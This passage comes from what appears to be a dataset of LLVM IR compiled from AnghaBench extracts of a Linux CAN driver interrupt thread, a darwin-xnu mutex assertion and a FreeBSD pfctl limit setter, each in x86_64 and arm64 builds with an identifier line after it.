!3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"m2p_channel", !8, i64 0, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"long", !9, i64 0} !12 = !{!13, !8, i64 4} !13 = !{!"ep93xx_dma_buffer", !8, i64 0, !8, i64 4} !14 = !{!7, !11, i64 8} !15 = !{!13, !8, i64 0}
fastsocket_kernel_arch_arm_mach-ep93xx_extr_dma-m2p.c_feed_buf
; ModuleID = 'AnghaBench/linux/drivers/net/can/softing/extr_softing_main.c_softing_irq_thread.c' source_filename = "AnghaBench/linux/drivers/net/can/softing/extr_softing_main.c_softing_irq_thread.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.softing = type { ptr, ptr, %struct.TYPE_6__, i32, %struct.TYPE_5__ } %struct.TYPE_6__ = type { i32, i64 } %struct.TYPE_5__ = type { i32 } @TXMAX = dso_local local_unnamed_addr global i64 0, align 8 @TX_ECHO_SKB_MAX = dso_local local_unnamed_addr global i64 0, align 8 @IRQ_HANDLED = dso_local local_unnamed_addr global i32 0, align 4 @IRQ_NONE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @softing_irq_thread], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @softing_irq_thread(i32 %0, ptr noundef %1) #0 { %3 = getelementptr inbounds %struct.softing, ptr %1, i64 0, i32 3 %4 = tail call i32 @spin_lock_bh(ptr noundef nonnull %3) #2 %5 = tail call i64 @softing_handle_1(ptr noundef %1) #2 %6 = icmp sgt i64 %5, 0 br i1 %6, label %7, label %16 7: ; preds = %2 %8 = getelementptr inbounds %struct.softing, ptr %1, i64 0, i32 4 br label %9 9: ; preds = %7, %9 %10 = phi i32 [ 0, %7 ], [ %13, %9 ] %11 = load i32, ptr %8, align 4, !tbaa !5 %12 = add nsw i32 %11, 1 store i32 %12, ptr %8, align 4, !tbaa !5 %13 = add nuw nsw i32 %10, 1 %14 = tail call i64 @softing_handle_1(ptr noundef %1) #2 %15 = icmp sgt i64 %14, 0 br i1 %15, label %9, label %16, !llvm.loop !14 16: ; preds = %9, %2 %17 = phi i32 [ 0, %2 ], [ %13, %9 ] %18 = tail call i32 @spin_unlock_bh(ptr noundef nonnull %3) #2 %19 = getelementptr inbounds %struct.softing, ptr %1, i64 0, i32 2 %20 = load i32, ptr %19, align 8, !tbaa !16 %21 = getelementptr inbounds %struct.softing, ptr %1, i64 0, i32 2, i32 1 %22 = getelementptr inbounds %struct.softing, ptr %1, i64 0, i32 1 %23 = load ptr, ptr %22, align 8, !tbaa !17 %24 = tail call i32 @ARRAY_SIZE(ptr noundef %23) #2 %25 = icmp sgt i32 %24, 0 br i1 %25, label %26, label %61 26: ; preds = %16 %27 = add i32 %20, 1 br label %28 28: ; preds = %26, %55 %29 = phi i32 [ %17, %26 ], [ %56, %55 ] %30 = phi i32 [ 0, %26 ], [ %57, %55 ] %31 = load i64, ptr %21, align 8, !tbaa !18 %32 = load i64, ptr @TXMAX, align 8, !tbaa !19 %33 = icmp slt i64 %31, %32 br i1 %33, label %34, label %61 34: ; preds = %28 %35 = load ptr, ptr %22, align 8, !tbaa !17 %36 = add i32 %27, %30 %37 = load ptr, ptr %1, align 8, !tbaa !20 %38 = load i32, ptr %37, align 4, !tbaa !21 %39 = srem i32 %36, %38 %40 = sext i32 %39 to i64 %41 = getelementptr inbounds ptr, ptr %35, i64 %40 %42 = load ptr, ptr %41, align 8, !tbaa !23 %43 = icmp eq ptr %42, null br i1 %43, label %55, label %44 44: ; preds = %34 %45 = tail call ptr @netdev_priv(ptr noundef nonnull %42) #2 %46 = tail call i32 @canif_is_active(ptr noundef nonnull %42) #2 %47 = icmp eq i32 %46, 0 br i1 %47, label %55, label %48 48: ; preds = %44 %49 = load i64, ptr %45, align 8, !tbaa !24 %50 = load i64, ptr @TX_ECHO_SKB_MAX, align 8, !tbaa !19 %51 = icmp slt i64 %49, %50 br i1 %51, label %52, label %55 52: ; preds = %48 %53 = add nsw i32 %29, 1 %54 = tail call i32 @netif_wake_queue(ptr noundef nonnull %42) #2 br label %55 55: ; preds = %48, %44, %34, %52 %56 = phi i32 [ %29, %48 ], [ %53, %52 ], [ %29, %44 ], [ %29, %34 ] %57 = add nuw nsw i32 %30, 1 %58 = load ptr, ptr %22, align 8, !tbaa !17 %59 = tail call i32 @ARRAY_SIZE(ptr noundef %58) #2 %60 = icmp slt i32 %57, %59 br i1 %60, label %28, label %61, !llvm.loop !27 61: ; preds = %55, %28, %16 %62 = phi i32 [ %17, %16 ], [ %29, %28 ], [ %56, %55 ] %63 = icmp eq i32 %62, 0 %64 = load i32, ptr @IRQ_HANDLED, align 4 %65 = load i32, ptr @IRQ_NONE, align 4 %66 = select i1 %63, i32 %65, i32 %64 ret i32 %66 } declare i32 @spin_lock_bh(ptr noundef) local_unnamed_addr #1 declare i64 @softing_handle_1(ptr noundef) local_unnamed_addr #1 declare i32 @spin_unlock_bh(ptr noundef) local_unnamed_addr #1 declare i32 @ARRAY_SIZE(ptr noundef) local_unnamed_addr #1 declare ptr @netdev_priv(ptr noundef) local_unnamed_addr #1 declare i32 @canif_is_active(ptr noundef) local_unnamed_addr #1 declare i32 @netif_wake_queue(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !11, i64 36} !6 = !{!"softing", !7, i64 0, !7, i64 8, !10, i64 16, !11, i64 32, !13, i64 36} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"TYPE_6__", !11, i64 0, !12, i64 8} !11 = !{!"int", !8, i64 0} !12 = !{!"long", !8, i64 0} !13 = !{!"TYPE_5__", !11, i64 0} !14 = distinct !{!14, !15} !15 = !{!"llvm.loop.mustprogress"} !16 = !{!6, !11, i64 16} !17 = !{!6, !7, i64 8} !18 = !{!6, !12, i64 24} !19 = !{!12, !12, i64 0} !20 = !{!6, !7, i64 0} !21 = !{!22, !11, i64 0} !22 = !{!"TYPE_7__", !11, i64 0} !23 = !{!7, !7, i64 0} !24 = !{!25, !12, i64 0} !25 = !{!"softing_priv", !26, i64 0} !26 = !{!"TYPE_8__", !12, i64 0} !27 = distinct !{!27, !15}
; ModuleID = 'AnghaBench/linux/drivers/net/can/softing/extr_softing_main.c_softing_irq_thread.c' source_filename = "AnghaBench/linux/drivers/net/can/softing/extr_softing_main.c_softing_irq_thread.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @TXMAX = common local_unnamed_addr global i64 0, align 8 @TX_ECHO_SKB_MAX = common local_unnamed_addr global i64 0, align 8 @IRQ_HANDLED = common local_unnamed_addr global i32 0, align 4 @IRQ_NONE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @softing_irq_thread], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @softing_irq_thread(i32 %0, ptr noundef %1) #0 { %3 = getelementptr inbounds i8, ptr %1, i64 32 %4 = tail call i32 @spin_lock_bh(ptr noundef nonnull %3) #2 %5 = tail call i64 @softing_handle_1(ptr noundef %1) #2 %6 = icmp sgt i64 %5, 0 br i1 %6, label %7, label %16 7: ; preds = %2 %8 = getelementptr inbounds i8, ptr %1, i64 36 br label %9 9: ; preds = %7, %9 %10 = phi i32 [ 0, %7 ], [ %13, %9 ] %11 = load i32, ptr %8, align 4, !tbaa !6 %12 = add nsw i32 %11, 1 store i32 %12, ptr %8, align 4, !tbaa !6 %13 = add nuw nsw i32 %10, 1 %14 = tail call i64 @softing_handle_1(ptr noundef %1) #2 %15 = icmp sgt i64 %14, 0 br i1 %15, label %9, label %16, !llvm.loop !15 16: ; preds = %9, %2 %17 = phi i32 [ 0, %2 ], [ %13, %9 ] %18 = tail call i32 @spin_unlock_bh(ptr noundef nonnull %3) #2 %19 = getelementptr inbounds i8, ptr %1, i64 16 %20 = load i32, ptr %19, align 8, !tbaa !17 %21 = getelementptr inbounds i8, ptr %1, i64 24 %22 = getelementptr inbounds i8, ptr %1, i64 8 %23 = load ptr, ptr %22, align 8, !tbaa !18 %24 = tail call i32 @ARRAY_SIZE(ptr noundef %23) #2 %25 = icmp sgt i32 %24, 0 br i1 %25, label %26, label %61 26: ; preds = %16 %27 = add i32 %20, 1 br label %28 28: ; preds = %26, %55 %29 = phi i32 [ %17, %26 ], [ %56, %55 ] %30 = phi i32 [ 0, %26 ], [ %57, %55 ] %31 = load i64, ptr %21, align 8, !tbaa !19 %32 = load i64, ptr @TXMAX, align 8, !tbaa !20 %33 = icmp slt i64 %31, %32 br i1 %33, label %34, label %61 34: ; preds = %28 %35 = load ptr, ptr %22, align 8, !tbaa !18 %36 = add i32 %27, %30 %37 = load ptr, ptr %1, align 8, !tbaa !21 %38 = load i32, ptr %37, align 4, !tbaa !22 %39 = srem i32 %36, %38 %40 = sext i32 %39 to i64 %41 = getelementptr inbounds ptr, ptr %35, i64 %40 %42 = load ptr, ptr %41, align 8, !tbaa !24 %43 = icmp eq ptr %42, null br i1 %43, label %55, label %44 44: ; preds = %34 %45 = tail call ptr @netdev_priv(ptr noundef nonnull %42) #2 %46 = tail call i32 @canif_is_active(ptr noundef nonnull %42) #2 %47 = icmp eq i32 %46, 0 br i1 %47, label %55, label %48 48: ; preds = %44 %49 = load i64, ptr %45, align 8, !tbaa !25 %50 = load i64, ptr @TX_ECHO_SKB_MAX, align 8, !tbaa !20 %51 = icmp slt i64 %49, %50 br i1 %51, label %52, label %55 52: ; preds = %48 %53 = add nsw i32 %29, 1 %54 = tail call i32 @netif_wake_queue(ptr noundef nonnull %42) #2 br label %55 55: ; preds = %48, %44, %34, %52 %56 = phi i32 [ %29, %48 ], [ %53, %52 ], [ %29, %44 ], [ %29, %34 ] %57 = add nuw nsw i32 %30, 1 %58 = load ptr, ptr %22, align 8, !tbaa !18 %59 = tail call i32 @ARRAY_SIZE(ptr noundef %58) #2 %60 = icmp slt i32 %57, %59 br i1 %60, label %28, label %61, !llvm.loop !28 61: ; preds = %55, %28, %16 %62 = phi i32 [ %17, %16 ], [ %29, %28 ], [ %56, %55 ] %63 = icmp eq i32 %62, 0 %64 = load i32, ptr @IRQ_HANDLED, align 4 %65 = load i32, ptr @IRQ_NONE, align 4 %66 = select i1 %63, i32 %65, i32 %64 ret i32 %66 } declare i32 @spin_lock_bh(ptr noundef) local_unnamed_addr #1 declare i64 @softing_handle_1(ptr noundef) local_unnamed_addr #1 declare i32 @spin_unlock_bh(ptr noundef) local_unnamed_addr #1 declare i32 @ARRAY_SIZE(ptr noundef) local_unnamed_addr #1 declare ptr @netdev_priv(ptr noundef) local_unnamed_addr #1 declare i32 @canif_is_active(ptr noundef) local_unnamed_addr #1 declare i32 @netif_wake_queue(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !12, i64 36} !7 = !{!"softing", !8, i64 0, !8, i64 8, !11, i64 16, !12, i64 32, !14, i64 36} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"TYPE_6__", !12, i64 0, !13, i64 8} !12 = !{!"int", !9, i64 0} !13 = !{!"long", !9, i64 0} !14 = !{!"TYPE_5__", !12, i64 0} !15 = distinct !{!15, !16} !16 = !{!"llvm.loop.mustprogress"} !17 = !{!7, !12, i64 16} !18 = !{!7, !8, i64 8} !19 = !{!7, !13, i64 24} !20 = !{!13, !13, i64 0} !21 = !{!7, !8, i64 0} !22 = !{!23, !12, i64 0} !23 = !{!"TYPE_7__", !12, i64 0} !24 = !{!8, !8, i64 0} !25 = !{!26, !13, i64 0} !26 = !{!"softing_priv", !27, i64 0} !27 = !{!"TYPE_8__", !13, i64 0} !28 = distinct !{!28, !16}
linux_drivers_net_can_softing_extr_softing_main.c_softing_irq_thread
; ModuleID = 'AnghaBench/darwin-xnu/osfmk/i386/extr_locks_i386.c_lck_mtx_assert.c' source_filename = "AnghaBench/darwin-xnu/osfmk/i386/extr_locks_i386.c_lck_mtx_assert.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @LCK_MTX_TAG_INDIRECT = dso_local local_unnamed_addr global i32 0, align 4 @LCK_MTX_ASSERT_OWNED = dso_local local_unnamed_addr global i32 0, align 4 @LCK_MTX_ILOCKED_MSK = dso_local local_unnamed_addr global i32 0, align 4 @LCK_MTX_MLOCKED_MSK = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [22 x i8] c"mutex (%p) not owned\0A\00", align 1 @LCK_MTX_ASSERT_NOTOWNED = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [18 x i8] c"mutex (%p) owned\0A\00", align 1 ; Function Attrs: noinline nounwind uwtable define dso_local void @lck_mtx_assert(ptr noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %3, align 8, !tbaa !5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = tail call i64 (...) @current_thread() #3 %6 = tail call i32 @ordered_load_mtx_state(ptr noundef %0) #3 store i32 %6, ptr %4, align 4, !tbaa !9 %7 = load i32, ptr @LCK_MTX_TAG_INDIRECT, align 4, !tbaa !9 %8 = icmp eq i32 %6, %7 br i1 %8, label %9, label %12 9: ; preds = %2 %10 = call i32 @get_indirect_mutex(ptr noundef nonnull %3, ptr noundef nonnull %4) #3 %11 = load ptr, ptr %3, align 8, !tbaa !5 br label %12 12: ; preds = %9, %2 %13 = phi ptr [ %11, %9 ], [ %0, %2 ] %14 = load i64, ptr %13, align 8, !tbaa !11 %15 = load i32, ptr @LCK_MTX_ASSERT_OWNED, align 4, !tbaa !9 %16 = icmp eq i32 %15, %1 br i1 %16, label %17, label %28 17: ; preds = %12 %18 = icmp eq i64 %14, %5 br i1 %18, label %19, label %26 19: ; preds = %17 %20 = load i32, ptr %4, align 4, !tbaa !9 %21 = load i32, ptr @LCK_MTX_ILOCKED_MSK, align 4, !tbaa !9 %22 = load i32, ptr @LCK_MTX_MLOCKED_MSK, align 4, !tbaa !9 %23 = or i32 %22, %21 %24 = and i32 %23, %20 %25 = icmp eq i32 %24, 0 br i1 %25, label %26, label %37 26: ; preds = %19, %17 %27 = call i32 @panic(ptr noundef nonnull @.str, ptr noundef nonnull %13) #3 br label %37 28: ; preds = %12 %29 = load i32, ptr @LCK_MTX_ASSERT_NOTOWNED, align 4, !tbaa !9 %30 = icmp eq i32 %29, %1 %31 = zext i1 %30 to i32 %32 = call i32 @assert(i32 noundef %31) #3 %33 = icmp eq i64 %14, %5 br i1 %33, label %34, label %37 34: ; preds = %28 %35 = load ptr, ptr %3, align 8, !tbaa !5 %36 = call i32 @panic(ptr noundef nonnull @.str.1, ptr noundef %35) #3 br label %37 37: ; preds = %28, %34, %19, %26 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i64 @current_thread(...) local_unnamed_addr #2 declare i32 @ordered_load_mtx_state(ptr noundef) local_unnamed_addr #2 declare i32 @get_indirect_mutex(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @panic(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @assert(i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { noinline nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0} !11 = !{!12, !13, i64 0} !12 = !{!"TYPE_6__", !13, i64 0} !13 = !{!"long", !7, i64 0}
; ModuleID = 'AnghaBench/darwin-xnu/osfmk/i386/extr_locks_i386.c_lck_mtx_assert.c' source_filename = "AnghaBench/darwin-xnu/osfmk/i386/extr_locks_i386.c_lck_mtx_assert.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @LCK_MTX_TAG_INDIRECT = common local_unnamed_addr global i32 0, align 4 @LCK_MTX_ASSERT_OWNED = common local_unnamed_addr global i32 0, align 4 @LCK_MTX_ILOCKED_MSK = common local_unnamed_addr global i32 0, align 4 @LCK_MTX_MLOCKED_MSK = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [22 x i8] c"mutex (%p) not owned\0A\00", align 1 @LCK_MTX_ASSERT_NOTOWNED = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [18 x i8] c"mutex (%p) owned\0A\00", align 1 ; Function Attrs: noinline nounwind ssp uwtable(sync) define void @lck_mtx_assert(ptr noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %3, align 8, !tbaa !6 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 %5 = tail call i64 @current_thread() #3 %6 = tail call i32 @ordered_load_mtx_state(ptr noundef %0) #3 store i32 %6, ptr %4, align 4, !tbaa !10 %7 = load i32, ptr @LCK_MTX_TAG_INDIRECT, align 4, !tbaa !10 %8 = icmp eq i32 %6, %7 br i1 %8, label %9, label %12 9: ; preds = %2 %10 = call i32 @get_indirect_mutex(ptr noundef nonnull %3, ptr noundef nonnull %4) #3 %11 = load ptr, ptr %3, align 8, !tbaa !6 br label %12 12: ; preds = %9, %2 %13 = phi ptr [ %11, %9 ], [ %0, %2 ] %14 = load i64, ptr %13, align 8, !tbaa !12 %15 = load i32, ptr @LCK_MTX_ASSERT_OWNED, align 4, !tbaa !10 %16 = icmp eq i32 %15, %1 br i1 %16, label %17, label %28 17: ; preds = %12 %18 = icmp eq i64 %14, %5 br i1 %18, label %19, label %26 19: ; preds = %17 %20 = load i32, ptr %4, align 4, !tbaa !10 %21 = load i32, ptr @LCK_MTX_ILOCKED_MSK, align 4, !tbaa !10 %22 = load i32, ptr @LCK_MTX_MLOCKED_MSK, align 4, !tbaa !10 %23 = or i32 %22, %21 %24 = and i32 %23, %20 %25 = icmp eq i32 %24, 0 br i1 %25, label %26, label %37 26: ; preds = %19, %17 %27 = call i32 @panic(ptr noundef nonnull @.str, ptr noundef nonnull %13) #3 br label %37 28: ; preds = %12 %29 = load i32, ptr @LCK_MTX_ASSERT_NOTOWNED, align 4, !tbaa !10 %30 = icmp eq i32 %29, %1 %31 = zext i1 %30 to i32 %32 = call i32 @assert(i32 noundef %31) #3 %33 = icmp eq i64 %14, %5 br i1 %33, label %34, label %37 34: ; preds = %28 %35 = load ptr, ptr %3, align 8, !tbaa !6 %36 = call i32 @panic(ptr noundef nonnull @.str.1, ptr noundef %35) #3 br label %37 37: ; preds = %28, %34, %19, %26 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i64 @current_thread(...) local_unnamed_addr #2 declare i32 @ordered_load_mtx_state(ptr noundef) local_unnamed_addr #2 declare i32 @get_indirect_mutex(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @panic(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @assert(i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { noinline nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !14, i64 0} !13 = !{!"TYPE_6__", !14, i64 0} !14 = !{!"long", !8, i64 0}
darwin-xnu_osfmk_i386_extr_locks_i386.c_lck_mtx_assert
; ModuleID = 'AnghaBench/freebsd/sbin/pfctl/extr_pfctl.c_pfctl_set_limit.c' source_filename = "AnghaBench/freebsd/sbin/pfctl/extr_pfctl.c_pfctl_set_limit.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_2__ = type { i64, ptr } %struct.pfctl = type { ptr, ptr, i32 } @pf_limits = dso_local local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [15 x i8] c"Bad pool name.\00", align 1 @PF_OPT_VERBOSE = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [17 x i8] c"set limit %s %d\0A\00", align 1 ; Function Attrs: nounwind uwtable define dso_local noundef i32 @pfctl_set_limit(ptr nocapture noundef readonly %0, ptr noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = load ptr, ptr @pf_limits, align 8, !tbaa !5 %5 = getelementptr inbounds %struct.TYPE_2__, ptr %4, i64 0, i32 1 %6 = load ptr, ptr %5, align 8, !tbaa !9 %7 = icmp eq ptr %6, null br i1 %7, label %30, label %13 8: ; preds = %13 %9 = add nuw i64 %14, 1 %10 = getelementptr inbounds %struct.TYPE_2__, ptr %18, i64 %9, i32 1 %11 = load ptr, ptr %10, align 8, !tbaa !9 %12 = icmp eq ptr %11, null br i1 %12, label %30, label %13, !llvm.loop !12 13: ; preds = %3, %8 %14 = phi i64 [ %9, %8 ], [ 0, %3 ] %15 = phi ptr [ %11, %8 ], [ %6, %3 ] %16 = tail call i64 @strcasecmp(ptr noundef %1, ptr noundef nonnull %15) #2 %17 = icmp eq i64 %16, 0 %18 = load ptr, ptr @pf_limits, align 8, !tbaa !5 br i1 %17, label %19, label %8 19: ; preds = %13 %20 = load ptr, ptr %0, align 8, !tbaa !14 %21 = getelementptr inbounds %struct.TYPE_2__, ptr %18, i64 %14 %22 = load i64, ptr %21, align 8, !tbaa !17 %23 = getelementptr inbounds i32, ptr %20, i64 %22 store i32 %2, ptr %23, align 4, !tbaa !18 %24 = getelementptr inbounds %struct.pfctl, ptr %0, i64 0, i32 1 %25 = load ptr, ptr %24, align 8, !tbaa !19 %26 = getelementptr inbounds i32, ptr %25, i64 %22 store i32 1, ptr %26, align 4, !tbaa !18 %27 = getelementptr inbounds %struct.TYPE_2__, ptr %18, i64 %14, i32 1 %28 = load ptr, ptr %27, align 8, !tbaa !9 %29 = icmp eq ptr %28, null br i1 %29, label %30, label %32 30: ; preds = %8, %3, %19 %31 = tail call i32 @warnx(ptr noundef nonnull @.str) #2 br label %40 32: ; preds = %19 %33 = getelementptr inbounds %struct.pfctl, ptr %0, i64 0, i32 2 %34 = load i32, ptr %33, align 8, !tbaa !20 %35 = load i32, ptr @PF_OPT_VERBOSE, align 4, !tbaa !18 %36 = and i32 %35, %34 %37 = icmp eq i32 %36, 0 br i1 %37, label %40, label %38 38: ; preds = %32 %39 = tail call i32 @printf(ptr noundef nonnull @.str.1, ptr noundef %1, i32 noundef %2) #2 br label %40 40: ; preds = %32, %38, %30 %41 = phi i32 [ 1, %30 ], [ 0, %38 ], [ 0, %32 ] ret i32 %41 } declare i64 @strcasecmp(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @warnx(ptr noundef) local_unnamed_addr #1 declare i32 @printf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { 